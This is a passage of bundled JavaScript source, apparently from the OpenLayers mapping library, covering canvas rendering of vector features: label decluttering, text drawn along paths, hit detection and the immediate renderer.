height, anchorX, anchorY, originX, originY, rotation, scale, snapToPixel, padding, backgroundFill || backgroundStroke, feature);\n /** @type {ReplayImageOrLabelArgs} */\n var args = [\n context,\n contextScale,\n image,\n dimensions,\n opacity,\n backgroundFill\n ? /** @type {Array<*>} */ (lastFillInstruction)\n : null,\n backgroundStroke\n ? /** @type {Array<*>} */ (lastStrokeInstruction)\n : null,\n ];\n if (opt_declutterTree) {\n if (declutterMode === 'none') {\n // not rendered in declutter group\n continue;\n }\n else if (declutterMode === 'obstacle') {\n // will always be drawn, thus no collision detection, but insert as obstacle\n opt_declutterTree.insert(dimensions.declutterBox);\n continue;\n }\n else {\n var imageArgs = void 0;\n var imageDeclutterBox = void 0;\n if (declutterImageWithText) {\n var index = dd - d;\n if (!declutterImageWithText[index]) {\n // We now have the image for an image+text combination.\n declutterImageWithText[index] = args;\n // Don't render anything for now, wait for the text.\n continue;\n }\n imageArgs = declutterImageWithText[index];\n delete declutterImageWithText[index];\n imageDeclutterBox = getDeclutterBox(imageArgs);\n if (opt_declutterTree.collides(imageDeclutterBox)) {\n continue;\n }\n }\n if (opt_declutterTree.collides(dimensions.declutterBox)) {\n continue;\n }\n if (imageArgs) {\n // We now have image and text for an image+text combination.\n opt_declutterTree.insert(imageDeclutterBox);\n // Render the image before we render the text.\n this.replayImageOrLabel_.apply(this, imageArgs);\n }\n opt_declutterTree.insert(dimensions.declutterBox);\n }\n }\n this.replayImageOrLabel_.apply(this, args);\n }\n ++i;\n break;\n case CanvasInstruction.DRAW_CHARS:\n var begin = /** @type {number} */ (instruction[1]);\n var end = /** @type {number} */ (instruction[2]);\n var baseline = /** @type {number} */ (instruction[3]);\n var overflow = /** @type {number} */ (instruction[4]);\n fillKey = /** @type {string} */ (instruction[5]);\n var maxAngle = /** @type {number} */ (instruction[6]);\n var measurePixelRatio = /** @type {number} */ (instruction[7]);\n var offsetY = /** @type {number} */ (instruction[8]);\n strokeKey = /** @type {string} */ (instruction[9]);\n var strokeWidth = /** @type {number} */ (instruction[10]);\n text = /** @type {string} */ (instruction[11]);\n textKey = /** @type {string} */ (instruction[12]);\n var pixelRatioScale = [\n /** @type {number} */ (instruction[13]),\n /** @type {number} */ (instruction[13]),\n ];\n var textState = this.textStates[textKey];\n var font = textState.font;\n var textScale = [\n textState.scale[0] * measurePixelRatio,\n textState.scale[1] * measurePixelRatio,\n ];\n var cachedWidths = void 0;\n if (font in this.widths_) {\n cachedWidths = this.widths_[font];\n }\n else {\n cachedWidths = {};\n this.widths_[font] = cachedWidths;\n }\n var pathLength = lineStringLength(pixelCoordinates, begin, end, 2);\n var textLength = Math.abs(textScale[0]) *\n measureAndCacheTextWidth(font, text, cachedWidths);\n if (overflow || textLength <= pathLength) {\n var textAlign = this.textStates[textKey].textAlign;\n var startM = (pathLength - textLength) * TEXT_ALIGN[textAlign];\n var parts = drawTextOnPath(pixelCoordinates, begin, end, 2, text, startM, maxAngle, Math.abs(textScale[0]), measureAndCacheTextWidth, font, cachedWidths, viewRotationFromTransform ? 0 : this.viewRotation_);\n drawChars: if (parts) {\n /** @type {Array<ReplayImageOrLabelArgs>} */\n var replayImageOrLabelArgs = [];\n var c = void 0, cc = void 0, chars = void 0, label = void 0, part = void 0;\n if (strokeKey) {\n for (c = 0, cc = parts.length; c < cc; ++c) {\n part = parts[c]; // x, y, anchorX, rotation, chunk\n chars = /** @type {string} */ (part[4]);\n label = this.createLabel(chars, textKey, '', strokeKey);\n anchorX =\n /** @type {number} */ (part[2]) +\n (textScale[0] < 0 ? -strokeWidth : strokeWidth);\n anchorY =\n baseline * label.height +\n ((0.5 - baseline) * 2 * strokeWidth * textScale[1]) /\n textScale[0] -\n offsetY;\n var dimensions = this.calculateImageOrLabelDimensions_(label.width, label.height, part[0], part[1], label.width, label.height, anchorX, anchorY, 0, 0, part[3], pixelRatioScale, false, defaultPadding, false, feature);\n if (opt_declutterTree &&\n opt_declutterTree.collides(dimensions.declutterBox)) {\n break drawChars;\n }\n replayImageOrLabelArgs.push([\n context,\n contextScale,\n label,\n dimensions,\n 1,\n null,\n null,\n ]);\n }\n }\n if (fillKey) {\n for (c = 0, cc = parts.length; c < cc; ++c) {\n part = parts[c]; // x, y, anchorX, rotation, chunk\n chars = /** @type {string} */ (part[4]);\n label = this.createLabel(chars, textKey, fillKey, '');\n anchorX = /** @type {number} */ (part[2]);\n anchorY = baseline * label.height - offsetY;\n var dimensions = this.calculateImageOrLabelDimensions_(label.width, label.height, part[0], part[1], label.width, label.height, anchorX, anchorY, 0, 0, part[3], pixelRatioScale, false, defaultPadding, false, feature);\n if (opt_declutterTree &&\n opt_declutterTree.collides(dimensions.declutterBox)) {\n break drawChars;\n }\n replayImageOrLabelArgs.push([\n context,\n contextScale,\n label,\n dimensions,\n 1,\n null,\n null,\n ]);\n }\n }\n if (opt_declutterTree) {\n opt_declutterTree.load(replayImageOrLabelArgs.map(getDeclutterBox));\n }\n for (var i_1 = 0, ii_1 = replayImageOrLabelArgs.length; i_1 < ii_1; ++i_1) {\n this.replayImageOrLabel_.apply(this, replayImageOrLabelArgs[i_1]);\n }\n }\n }\n ++i;\n break;\n case CanvasInstruction.END_GEOMETRY:\n if (opt_featureCallback !== undefined) {\n feature = /** @type {import(\"../../Feature.js\").FeatureLike} */ (instruction[1]);\n var result = opt_featureCallback(feature, currentGeometry);\n if (result) {\n return result;\n }\n }\n ++i;\n break;\n case CanvasInstruction.FILL:\n if (batchSize) {\n pendingFill++;\n }\n else {\n this.fill_(context);\n }\n ++i;\n break;\n case CanvasInstruction.MOVE_TO_LINE_TO:\n d = /** @type {number} */ (instruction[1]);\n dd = /** @type {number} */ (instruction[2]);\n x = pixelCoordinates[d];\n y = pixelCoordinates[d + 1];\n roundX = (x + 0.5) | 0;\n roundY = (y + 0.5) | 0;\n if (roundX !== prevX || roundY !== prevY) {\n context.moveTo(x, y);\n prevX = roundX;\n prevY = roundY;\n }\n for (d += 2; d < dd; d += 2) {\n x = pixelCoordinates[d];\n y = pixelCoordinates[d + 1];\n roundX = (x + 0.5) | 0;\n roundY = (y + 0.5) | 0;\n if (d == dd - 2 || roundX !== prevX || roundY !== prevY) {\n context.lineTo(x, y);\n prevX = roundX;\n prevY = roundY;\n }\n }\n ++i;\n break;\n case CanvasInstruction.SET_FILL_STYLE:\n lastFillInstruction = instruction;\n this.alignFill_ = instruction[2];\n if (pendingFill) {\n this.fill_(context);\n pendingFill = 0;\n if (pendingStroke) {\n context.stroke();\n pendingStroke = 0;\n }\n }\n context.fillStyle =\n /** @type {import(\"../../colorlike.js\").ColorLike} */ (instruction[1]);\n ++i;\n break;\n case CanvasInstruction.SET_STROKE_STYLE:\n lastStrokeInstruction = instruction;\n if (pendingStroke) {\n context.stroke();\n pendingStroke = 0;\n }\n this.setStrokeStyle_(context, /** @type {Array<*>} */ (instruction));\n ++i;\n break;\n case CanvasInstruction.STROKE:\n if (batchSize) {\n pendingStroke++;\n }\n else {\n context.stroke();\n }\n ++i;\n break;\n default: // consume the instruction anyway, to avoid an infinite loop\n ++i;\n break;\n }\n }\n if (pendingFill) {\n this.fill_(context);\n }\n if (pendingStroke) {\n context.stroke();\n }\n return undefined;\n };\n /**\n * @param {CanvasRenderingContext2D} context Context.\n * @param {number} contextScale Scale of the context.\n * @param {import(\"../../transform.js\").Transform} transform Transform.\n * @param {number} viewRotation View rotation.\n * @param {boolean} snapToPixel Snap point symbols and text to integer pixels.\n * @param {import(\"rbush\").default} [opt_declutterTree] Declutter tree.\n */\n Executor.prototype.execute = function (context, contextScale, transform, viewRotation, snapToPixel, opt_declutterTree) {\n this.viewRotation_ = viewRotation;\n this.execute_(context, contextScale, transform, this.instructions, snapToPixel, undefined, undefined, opt_declutterTree);\n };\n /**\n * @param {CanvasRenderingContext2D} context Context.\n * @param {import(\"../../transform.js\").Transform} transform Transform.\n * @param {number} viewRotation View rotation.\n * @param {FeatureCallback<T>} [opt_featureCallback] Feature callback.\n * @param {import(\"../../extent.js\").Extent} [opt_hitExtent] Only check\n * features that intersect this extent.\n * @return {T|undefined} Callback result.\n * @template T\n */\n Executor.prototype.executeHitDetection = function (context, transform, viewRotation, opt_featureCallback, opt_hitExtent) {\n this.viewRotation_ = viewRotation;\n return this.execute_(context, 1, transform, this.hitDetectionInstructions, true, opt_featureCallback, opt_hitExtent);\n };\n return Executor;\n}());\nexport default Executor;\n//# sourceMappingURL=Executor.js.map","/**\n * @module ol/render/canvas/ExecutorGroup\n */\nimport Executor from './Executor.js';\nimport { buffer, createEmpty, extendCoordinate } from '../../extent.js';\nimport { compose as composeTransform, create as createTransform, } from '../../transform.js';\nimport { createCanvasContext2D } from '../../dom.js';\nimport { isEmpty } from '../../obj.js';\nimport { numberSafeCompareFunction } from '../../array.js';\nimport { transform2D } from '../../geom/flat/transform.js';\n/**\n * @const\n * @type {Array<import(\"../canvas.js\").BuilderType>}\n */\nvar ORDER = ['Polygon', 'Circle', 'LineString', 'Image', 'Text', 'Default'];\nvar ExecutorGroup = /** @class */ (function () {\n /**\n * @param {import(\"../../extent.js\").Extent} maxExtent Max extent for clipping. When a\n * `maxExtent` was set on the Builder for this executor group, the same `maxExtent`\n * should be set here, unless the target context does not exceed that extent (which\n * can be the case when rendering to tiles).\n * @param {number} resolution Resolution.\n * @param {number} pixelRatio Pixel ratio.\n * @param {boolean} overlaps The executor group can have overlapping geometries.\n * @param {!Object<string, !Object<import(\"../canvas.js\").BuilderType, import(\"../canvas.js\").SerializableInstructions>>} allInstructions\n * The serializable instructions.\n * @param {number} [opt_renderBuffer] Optional rendering buffer.\n */\n function ExecutorGroup(maxExtent, resolution, pixelRatio, overlaps, allInstructions, opt_renderBuffer) {\n /**\n * @private\n * @type {import(\"../../extent.js\").Extent}\n */\n this.maxExtent_ = maxExtent;\n /**\n * @private\n * @type {boolean}\n */\n this.overlaps_ = overlaps;\n /**\n * @private\n * @type {number}\n */\n this.pixelRatio_ = pixelRatio;\n /**\n * @private\n * @type {number}\n */\n this.resolution_ = resolution;\n /**\n * @private\n * @type {number|undefined}\n */\n this.renderBuffer_ = opt_renderBuffer;\n /**\n * @private\n * @type {!Object<string, !Object<import(\"../canvas.js\").BuilderType, import(\"./Executor\").default>>}\n */\n this.executorsByZIndex_ = {};\n /**\n * @private\n * @type {CanvasRenderingContext2D}\n */\n this.hitDetectionContext_ = null;\n /**\n * @private\n * @type {import(\"../../transform.js\").Transform}\n */\n this.hitDetectionTransform_ = createTransform();\n this.createExecutors_(allInstructions);\n }\n /**\n * @param {CanvasRenderingContext2D} context Context.\n * @param {import(\"../../transform.js\").Transform} transform Transform.\n */\n ExecutorGroup.prototype.clip = function (context, transform) {\n var flatClipCoords = this.getClipCoords(transform);\n context.beginPath();\n context.moveTo(flatClipCoords[0], flatClipCoords[1]);\n context.lineTo(flatClipCoords[2], flatClipCoords[3]);\n context.lineTo(flatClipCoords[4], flatClipCoords[5]);\n context.lineTo(flatClipCoords[6], flatClipCoords[7]);\n context.clip();\n };\n /**\n * Create executors and populate them using the provided instructions.\n * @private\n * @param {!Object<string, !Object<import(\"../canvas.js\").BuilderType, import(\"../canvas.js\").SerializableInstructions>>} allInstructions The serializable instructions\n */\n ExecutorGroup.prototype.createExecutors_ = function (allInstructions) {\n for (var zIndex in allInstructions) {\n var executors = this.executorsByZIndex_[zIndex];\n if (executors === undefined) {\n executors = {};\n this.executorsByZIndex_[zIndex] = executors;\n }\n var instructionByZindex = allInstructions[zIndex];\n for (var builderType in instructionByZindex) {\n var instructions = instructionByZindex[builderType];\n executors[builderType] = new Executor(this.resolution_, this.pixelRatio_, this.overlaps_, instructions);\n }\n }\n };\n /**\n * @param {Array<import(\"../canvas.js\").BuilderType>} executors Executors.\n * @return {boolean} Has executors of the provided types.\n */\n ExecutorGroup.prototype.hasExecutors = function (executors) {\n for (var zIndex in this.executorsByZIndex_) {\n var candidates = this.executorsByZIndex_[zIndex];\n for (var i = 0, ii = executors.length; i < ii; ++i) {\n if (executors[i] in candidates) {\n return true;\n }\n }\n }\n return false;\n };\n /**\n * @param {import(\"../../coordinate.js\").Coordinate} coordinate Coordinate.\n * @param {number} resolution Resolution.\n * @param {number} rotation Rotation.\n * @param {number} hitTolerance Hit tolerance in pixels.\n * @param {function(import(\"../../Feature.js\").FeatureLike, import(\"../../geom/SimpleGeometry.js\").default, number): T} callback Feature callback.\n * @param {Array<import(\"../../Feature.js\").FeatureLike>} declutteredFeatures Decluttered features.\n * @return {T|undefined} Callback result.\n * @template T\n */\n ExecutorGroup.prototype.forEachFeatureAtCoordinate = function (coordinate, resolution, rotation, hitTolerance, callback, declutteredFeatures) {\n hitTolerance = Math.round(hitTolerance);\n var contextSize = hitTolerance * 2 + 1;\n var transform = composeTransform(this.hitDetectionTransform_, hitTolerance + 0.5, hitTolerance + 0.5, 1 / resolution, -1 / resolution, -rotation, -coordinate[0], -coordinate[1]);\n var newContext = !this.hitDetectionContext_;\n if (newContext) {\n this.hitDetectionContext_ = createCanvasContext2D(contextSize, contextSize);\n }\n var context = this.hitDetectionContext_;\n if (context.canvas.width !== contextSize ||\n context.canvas.height !== contextSize) {\n context.canvas.width = contextSize;\n context.canvas.height = contextSize;\n }\n else if (!newContext) {\n context.clearRect(0, 0, contextSize, contextSize);\n }\n /**\n * @type {import(\"../../extent.js\").Extent}\n */\n var hitExtent;\n if (this.renderBuffer_ !== undefined) {\n hitExtent = createEmpty();\n extendCoordinate(hitExtent, coordinate);\n buffer(hitExtent, resolution * (this.renderBuffer_ + hitTolerance), hitExtent);\n }\n var indexes = getPixelIndexArray(hitTolerance);\n var builderType;\n /**\n * @param {import(\"../../Feature.js\").FeatureLike} feature Feature.\n * @param {import(\"../../geom/SimpleGeometry.js\").default} geometry Geometry.\n * @return {T|undefined} Callback result.\n */\n function featureCallback(feature, geometry) {\n var imageData = context.getImageData(0, 0, contextSize, contextSize).data;\n for (var i_1 = 0, ii = indexes.length; i_1 < ii; i_1++) {\n if (imageData[indexes[i_1]] > 0) {\n if (!declutteredFeatures ||\n (builderType !== 'Image' && builderType !== 'Text') ||\n declutteredFeatures.indexOf(feature) !== -1) {\n var idx = (indexes[i_1] - 3) / 4;\n var x = hitTolerance - (idx % contextSize);\n var y = hitTolerance - ((idx / contextSize) | 0);\n var result_1 = callback(feature, geometry, x * x + y * y);\n if (result_1) {\n return result_1;\n }\n }\n context.clearRect(0, 0, contextSize, contextSize);\n break;\n }\n }\n return undefined;\n }\n /** @type {Array<number>} */\n var zs = Object.keys(this.executorsByZIndex_).map(Number);\n zs.sort(numberSafeCompareFunction);\n var i, j, executors, executor, result;\n for (i = zs.length - 1; i >= 0; --i) {\n var zIndexKey = zs[i].toString();\n executors = this.executorsByZIndex_[zIndexKey];\n for (j = ORDER.length - 1; j >= 0; --j) {\n builderType = ORDER[j];\n executor = executors[builderType];\n if (executor !== undefined) {\n result = executor.executeHitDetection(context, transform, rotation, featureCallback, hitExtent);\n if (result) {\n return result;\n }\n }\n }\n }\n return undefined;\n };\n /**\n * @param {import(\"../../transform.js\").Transform} transform Transform.\n * @return {Array<number>|null} Clip coordinates.\n */\n ExecutorGroup.prototype.getClipCoords = function (transform) {\n var maxExtent = this.maxExtent_;\n if (!maxExtent) {\n return null;\n }\n var minX = maxExtent[0];\n var minY = maxExtent[1];\n var maxX = maxExtent[2];\n var maxY = maxExtent[3];\n var flatClipCoords = [minX, minY, minX, maxY, maxX, maxY, maxX, minY];\n transform2D(flatClipCoords, 0, 8, 2, transform, flatClipCoords);\n return flatClipCoords;\n };\n /**\n * @return {boolean} Is empty.\n */\n ExecutorGroup.prototype.isEmpty = function () {\n return isEmpty(this.executorsByZIndex_);\n };\n /**\n * @param {CanvasRenderingContext2D} context Context.\n * @param {number} contextScale Scale of the context.\n * @param {import(\"../../transform.js\").Transform} transform Transform.\n * @param {number} viewRotation View rotation.\n * @param {boolean} snapToPixel Snap point symbols and test to integer pixel.\n * @param {Array<import(\"../canvas.js\").BuilderType>} [opt_builderTypes] Ordered replay types to replay.\n * Default is {@link module:ol/render/replay~ORDER}\n * @param {import(\"rbush\").default} [opt_declutterTree] Declutter tree.\n */\n ExecutorGroup.prototype.execute = function (context, contextScale, transform, viewRotation, snapToPixel, opt_builderTypes, opt_declutterTree) {\n /** @type {Array<number>} */\n var zs = Object.keys(this.executorsByZIndex_).map(Number);\n zs.sort(numberSafeCompareFunction);\n // setup clipping so that the parts of over-simplified geometries are not\n // visible outside the current extent when panning\n if (this.maxExtent_) {\n context.save();\n this.clip(context, transform);\n }\n var builderTypes = opt_builderTypes ? opt_builderTypes : ORDER;\n var i, ii, j, jj, replays, replay;\n if (opt_declutterTree) {\n zs.reverse();\n }\n for (i = 0, ii = zs.length; i < ii; ++i) {\n var zIndexKey = zs[i].toString();\n replays = this.executorsByZIndex_[zIndexKey];\n for (j = 0, jj = builderTypes.length; j < jj; ++j) {\n var builderType = builderTypes[j];\n replay = replays[builderType];\n if (replay !== undefined) {\n replay.execute(context, contextScale, transform, viewRotation, snapToPixel, opt_declutterTree);\n }\n }\n }\n if (this.maxExtent_) {\n context.restore();\n }\n };\n return ExecutorGroup;\n}());\n/**\n * This cache is used to store arrays of indexes for calculated pixel circles\n * to increase performance.\n * It is a static property to allow each Replaygroup to access it.\n * @type {Object<number, Array<number>>}\n */\nvar circlePixelIndexArrayCache = {};\n/**\n * This methods creates an array with indexes of all pixels within a circle,\n * ordered by how close they are to the center.\n * A cache is used to increase performance.\n * @param {number} radius Radius.\n * @return {Array<number>} An array with indexes within a circle.\n */\nexport function getPixelIndexArray(radius) {\n if (circlePixelIndexArrayCache[radius] !== undefined) {\n return circlePixelIndexArrayCache[radius];\n }\n var size = radius * 2 + 1;\n var maxDistanceSq = radius * radius;\n var distances = new Array(maxDistanceSq + 1);\n for (var i = 0; i <= radius; ++i) {\n for (var j = 0; j <= radius; ++j) {\n var distanceSq = i * i + j * j;\n if (distanceSq > maxDistanceSq) {\n break;\n }\n var distance = distances[distanceSq];\n if (!distance) {\n distance = [];\n distances[distanceSq] = distance;\n }\n distance.push(((radius + i) * size + (radius + j)) * 4 + 3);\n if (i > 0) {\n distance.push(((radius - i) * size + (radius + j)) * 4 + 3);\n }\n if (j > 0) {\n distance.push(((radius + i) * size + (radius - j)) * 4 + 3);\n if (i > 0) {\n distance.push(((radius - i) * size + (radius - j)) * 4 + 3);\n }\n }\n }\n }\n var pixelIndex = [];\n for (var i = 0, ii = distances.length; i < ii; ++i) {\n if (distances[i]) {\n pixelIndex.push.apply(pixelIndex, distances[i]);\n }\n }\n circlePixelIndexArrayCache[radius] = pixelIndex;\n return pixelIndex;\n}\nexport default ExecutorGroup;\n//# sourceMappingURL=ExecutorGroup.js.map","/**\n * @module ol/render/canvas/Immediate\n */\n// FIXME test, especially polygons with holes and multipolygons\n// FIXME need to handle large thick features (where pixel size matters)\n// FIXME add offset and end to ol/geom/flat/transform~transform2D?\nvar __extends = (this && this.__extends) || (function () {\n var extendStatics = function (d, b) {\n extendStatics = Object.setPrototypeOf ||\n ({ __proto__: [] } instanceof Array && function (d, b) { d.__proto__ = b; }) ||\n function (d, b) { for (var p in b) if (Object.prototype.hasOwnProperty.call(b, p)) d[p] = b[p]; };\n return extendStatics(d, b);\n };\n return function (d, b) {\n if (typeof b !== \"function\" && b !== null)\n throw new TypeError(\"Class extends value \" + String(b) + \" is not a constructor or null\");\n extendStatics(d, b);\n function __() { this.constructor = d; }\n d.prototype = b === null ? Object.create(b) : (__.prototype = b.prototype, new __());\n };\n})();\nimport VectorContext from '../VectorContext.js';\nimport { asColorLike } from '../../colorlike.js';\nimport { compose as composeTransform, create as createTransform, } from '../../transform.js';\nimport { defaultFillStyle, defaultFont, defaultLineCap, defaultLineDash, defaultLineDashOffset, defaultLineJoin, defaultLineWidth, defaultMiterLimit, defaultStrokeStyle, defaultTextAlign, defaultTextBaseline, } from '../canvas.js';\nimport { equals } from '../../array.js';\nimport { intersects } from '../../extent.js';\nimport { transform2D } from '../../geom/flat/transform.js';\nimport { transformGeom2D } from '../../geom/SimpleGeometry.js';\n/**\n * @classdesc\n * A concrete subclass of {@link module:ol/render/VectorContext~VectorContext VectorContext} that implements\n * direct rendering of features and geometries to an HTML5 Canvas context.\n * Instances of this class are created internally by the library and\n * provided to application code as vectorContext member of the\n * {@link module:ol/render/Event~RenderEvent RenderEvent} object associated with postcompose, precompose and\n * render events emitted by layers and maps.\n */\nvar CanvasImmediateRenderer = /** @class */ (function (_super) {\n __extends(CanvasImmediateRenderer, _super);\n /**\n * @param {CanvasRenderingContext2D} context Context.\n * @param {number} pixelRatio Pixel ratio.\n * @param {import(\"../../extent.js\").Extent} extent Extent.\n * @param {import(\"../../transform.js\").Transform} transform Transform.\n * @param {number} viewRotation View rotation.\n * @param {number} [opt_squaredTolerance] Optional squared tolerance for simplification.\n * @param {import(\"../../proj.js\").TransformFunction} [opt_userTransform] Transform from user to view projection.\n */\n function CanvasImmediateRenderer(context, pixelRatio, extent, transform, viewRotation, opt_squaredTolerance, opt_userTransform) {\n var _this = _super.call(this) || this;\n /**\n * @private\n * @type {CanvasRenderingContext2D}\n */\n _this.context_ = context;\n /**\n * @private\n * @type {number}\n */\n _this.pixelRatio_ = pixelRatio;\n /**\n * @private\n * @type {import(\"../../extent.js\").Extent}\n */\n _this.extent_ = extent;\n /**\n * @private\n * @type {import(\"../../transform.js\").Transform}\n */\n _this.transform_ = transform;\n /**\n * @private\n * @type {number}\n */\n _this.viewRotation_ = viewRotation;\n /**\n * @private\n * @type {number}\n */\n _this.squaredTolerance_ = opt_squaredTolerance;\n /**\n * @private\n * @type {import(\"../../proj.js\").TransformFunction}\n */\n _this.userTransform_ = opt_userTransform;\n /**\n * @private\n * @type {?import(\"../canvas.js\").FillState}\n */\n _this.contextFillState_ = null;\n /**\n * @private\n * @type {?import(\"../canvas.js\").StrokeState}\n */\n _this.contextStrokeState_ = null;\n /**\n * @private\n * @type {?import(\"../canvas.js\").TextState}\n */\n _this.contextTextState_ = null;\n /**\n * @private\n * @type {?import(\"../canvas.js\").FillState}\n */\n _this.fillState_ = null;\n /**\n * @private\n * @type {?import(\"../canvas.js\").StrokeState}\n */\n _this.strokeState_ = null;\n /**\n * @private\n * @type {HTMLCanvasElement|HTMLVideoElement|HTMLImageElement}\n */\n _this.image_ = null;\n /**\n * @private\n * @type {number}\n */\n _this.imageAnchorX_ = 0;\n /**\n * @private\n * @type {number}\n */\n _this.imageAnchorY_ = 0;\n /**\n * @private\n * @type {number}\n */\n _this.imageHeight_ = 0;\n /**\n * @private\n * @type {number}\n */\n _this.imageOpacity_ = 0;\n /**\n * @private\n * @type {number}\n */\n _this.imageOriginX_ = 0;\n /**\n * @private\n * @type {number}\n */\n _this.imageOriginY_ = 0;\n /**\n * @private\n * @type {boolean}\n */\n _this.imageRotateWithView_ = false;\n /**\n * @private\n * @type {number}\n */\n _this.imageRotation_ = 0;\n /**\n * @private\n * @type {import(\"../../size.js\").Size}\n */\n _this.imageScale_ = [0, 0];\n /**\n * @private\n * @type {number}\n */\n _this.imageWidth_ = 0;\n /**\n * @private\n * @type {string}\n */\n _this.text_ = '';\n /**\n * @private\n * @type {number}\n */\n _this.textOffsetX_ = 0;\n /**\n * @private\n * @type {number}\n */\n _this.textOffsetY_ = 0;\n /**\n * @private\n * @type {boolean}\n */\n _this.textRotateWithView_ = false;\n /**\n * @private\n * @type {number}\n */\n _this.textRotation_ = 0;\n /**\n * @private\n * @type {import(\"../../size.js\").Size}\n */\n _this.textScale_ = [0, 0];\n /**\n * @private\n * @type {?import(\"../canvas.js\").FillState}\n */\n _this.textFillState_ = null;\n /**\n * @private\n * @type {?import(\"../canvas.js\").StrokeState}\n */\n _this.textStrokeState_ = null;\n /**\n * @private\n * @type {?import(\"../canvas.js\").TextState}\n */\n _this.textState_ = null;\n /**\n * @private\n * @type {Array<number>}\n */\n _this.pixelCoordinates_ = [];\n /**\n * @private\n * @type {import(\"../../transform.js\").Transform}\n */\n _this.tmpLocalTransform_ = createTransform();\n return _this;\n }\n /**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @private\n */\n CanvasImmediateRenderer.prototype.drawImages_ = function (flatCoordinates, offset, end, stride) {\n if (!this.image_) {\n return;\n }\n var pixelCoordinates = transform2D(flatCoordinates, offset, end, stride, this.transform_, this.pixelCoordinates_);\n var context = this.context_;\n var localTransform = this.tmpLocalTransform_;\n var alpha = context.globalAlpha;\n if (this.imageOpacity_ != 1) {\n context.globalAlpha = alpha * this.imageOpacity_;\n }\n var rotation = this.imageRotation_;\n if (this.imageRotateWithView_) {\n rotation += this.viewRotation_;\n }\n for (var i = 0, ii = pixelCoordinates.length; i < ii; i += 2) {\n var x = pixelCoordinates[i] - this.imageAnchorX_;\n var y = pixelCoordinates[i + 1] - this.imageAnchorY_;\n if (rotation !== 0 ||\n this.imageScale_[0] != 1 ||\n this.imageScale_[1] != 1) {\n var centerX = x + this.imageAnchorX_;\n var centerY = y + this.imageAnchorY_;\n composeTransform(localTransform, centerX, centerY, 1, 1, rotation, -centerX, -centerY);\n context.setTransform.apply(context, localTransform);\n context.translate(centerX, centerY);\n context.scale(this.imageScale_[0], this.imageScale_[1]);\n context.drawImage(this.image_, this.imageOriginX_, this.imageOriginY_, this.imageWidth_, this.imageHeight_, -this.imageAnchorX_, -this.imageAnchorY_, this.imageWidth_, this.imageHeight_);\n context.setTransform(1, 0, 0, 1, 0, 0);\n }\n else {\n context.drawImage(this.image_, this.imageOriginX_, this.imageOriginY_, this.imageWidth_, this.imageHeight_, x, y, this.imageWidth_, this.imageHeight_);\n }\n }\n if (this.imageOpacity_ != 1) {\n context.globalAlpha = alpha;\n }\n };\n /**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @private\n */\n CanvasImmediateRenderer.prototype.drawText_ = function (flatCoordinates, offset, end, stride) {\n if (!this.textState_ || this.text_ === '') {\n return;\n }\n if (this.textFillState_) {\n this.setContextFillState_(this.textFillState_);\n }\n if (this.textStrokeState_) {\n this.setContextStrokeState_(this.textStrokeState_);\n }\n this.setContextTextState_(this.textState_);\n var pixelCoordinates = transform2D(flatCoordinates, offset, end, stride, this.transform_, this.pixelCoordinates_);\n var context = this.context_;\n var rotation = this.textRotation_;\n if (this.textRotateWithView_) {\n rotation += this.viewRotation_;\n }\n for (; offset < end; offset += stride) {\n var x = pixelCoordinates[offset] + this.textOffsetX_;\n var y = pixelCoordinates[offset + 1] + this.textOffsetY_;\n if (rotation !== 0 ||\n this.textScale_[0] != 1 ||\n this.textScale_[1] != 1) {\n var localTransform = composeTransform(this.tmpLocalTransform_, x, y, 1, 1, rotation, -x, -y);\n context.setTransform.apply(context, localTransform);\n context.translate(x, y);\n context.scale(this.textScale_[0], this.textScale_[1]);\n if (this.textStrokeState_) {\n context.strokeText(this.text_, 0, 0);\n }\n if (this.textFillState_) {\n context.fillText(this.text_, 0, 0);\n }\n context.setTransform(1, 0, 0, 1, 0, 0);\n }\n else {\n if (this.textStrokeState_) {\n context.strokeText(this.text_, x, y);\n }\n if (this.textFillState_) {\n context.fillText(this.text_, x, y);\n }\n }\n }\n };\n /**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {number} end End.\n * @param {number} stride Stride.\n * @param {boolean} close Close.\n * @private\n * @return {number} end End.\n */\n CanvasImmediateRenderer.prototype.moveToLineTo_ = function (flatCoordinates, offset, end, stride, close) {\n var context = this.context_;\n var pixelCoordinates = transform2D(flatCoordinates, offset, end, stride, this.transform_, this.pixelCoordinates_);\n context.moveTo(pixelCoordinates[0], pixelCoordinates[1]);\n var length = pixelCoordinates.length;\n if (close) {\n length -= 2;\n }\n for (var i = 2; i < length; i += 2) {\n context.lineTo(pixelCoordinates[i], pixelCoordinates[i + 1]);\n }\n if (close) {\n context.closePath();\n }\n return end;\n };\n /**\n * @param {Array<number>} flatCoordinates Flat coordinates.\n * @param {number} offset Offset.\n * @param {Array<number>} ends Ends.\n * @param {number} stride Stride.\n * @private\n * @return {number} End.\n */\n CanvasImmediateRenderer.prototype.drawRings_ = function (flatCoordinates, offset, ends, stride) {\n for (var i = 0, ii = ends.length; i < ii; ++i) {\n offset = this.moveToLineTo_(flatCoordinates, offset, ends[i], stride, true);\n }\n return offset;\n };\n /**\n * Render a circle geometry into the canvas. Rendering is immediate and uses\n * the current fill and stroke styles.\n *\n * @param {import(\"../../geom/Circle.js\").default} geometry Circle geometry.\n * @api\n */\n CanvasImmediateRenderer.prototype.drawCircle = function (geometry) {\n if (!intersects(this.extent_, geometry.getExtent())) {\n return;\n }\n if (this.fillState_ || this.strokeState_) {\n if (this.fillState_) {\n this.setContextFillState_(this.fillState_);\n }\n if (this.strokeState_) {\n this.setContextStrokeState_(this.strokeState_);\n }\n var pixelCoordinates = transformGeom2D(geometry, this.transform_, this.pixelCoordinates_);\n var dx = pixelCoordinates[2] - pixelCoordinates[0];\n var dy = pixelCoordinates[3] - pixelCoordinates[1];\n var radius = Math.sqrt(dx * dx + dy * dy);\n var context = this.context_;\n context.beginPath();\n context.arc(pixelCoordinates[0], pixelCoordinates[1], radius, 0, 2 * Math.PI);\n if (this.fillState_) {\n context.fill();\n }\n if (this.strokeState_) {\n context.stroke();\n }\n }\n if (this.text_ !== '') {\n this.drawText_(geometry.getCenter(), 0, 2, 2);\n }\n };\n /**\n * Set the rendering style. Note that since this is an immediate rendering API,\n * any `zIndex` on the provided style will be ignored.\n *\n * @param {import(\"../../style/Style.js\").default} style The rendering style.\n * @api\n */\n CanvasImmediateRenderer.prototype.setStyle = 